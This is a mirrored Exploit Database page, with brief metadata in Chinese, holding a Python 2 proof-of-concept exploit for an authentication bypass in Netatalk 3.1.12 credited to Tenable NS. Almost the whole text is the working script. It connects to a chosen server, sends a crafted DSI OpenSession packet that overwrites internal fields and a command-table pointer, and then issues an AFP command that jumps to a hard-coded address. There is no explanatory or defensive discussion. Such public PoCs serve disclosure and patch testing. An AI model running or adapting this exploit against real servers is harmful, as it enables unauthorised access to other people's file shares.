Netatalk 3.1.12 – Authentication Bypass (PoC)

• Exploit Database
• 15 阅读

• 作者： Tenable NS
  日期： 2018-12-21
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46048/

• import socket
  import struct
  import sys
  if len(sys.argv) != 3:
  sys.exit(0)
  ip = sys.argv[1]
  port = int(sys.argv[2])
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
  sock.connect((ip, port))
  dsi_payload = "\x00\x00\x40\x00" # client quantum
  dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
  dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
  dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
  dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
  dsi_opensession = "\x01" # attention quantum option
  dsi_opensession += struct.pack("B", len(dsi_payload)) # length
  dsi_opensession += dsi_payload
  dsi_header = "\x00" # "request" flag
  dsi_header += "\x04" # open session command
  dsi_header += "\x00\x01" # request id
  dsi_header += "\x00\x00\x00\x00" # data offset
  dsi_header += struct.pack(">I", len(dsi_opensession))
  dsi_header += "\x00\x00\x00\x00" # reserved
  dsi_header += dsi_opensession
  sock.sendall(dsi_header) 
  resp = sock.recv(1024)
  print "[+] Open Session complete"
  afp_command = "\x01" # invoke the second entry in the table
  afp_command += "\x00" # protocol defined padding
  afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
  afp_command += struct.pack("Q", 0x4295f0) # address to jump to
  dsi_header = "\x00" # "request" flag
  dsi_header += "\x02" # "AFP" command
  dsi_header += "\x00\x02" # request id
  dsi_header += "\x00\x00\x00\x00" # data offset
  dsi_header += struct.pack(">I", len(afp_command))
  dsi_header += '\x00\x00\x00\x00' # reserved
  dsi_header += afp_command
  print "[+] Sending get server info request"
  sock.sendall(dsi_header) 
  resp = sock.recv(1024)
  print resp
  print "[+] Fin."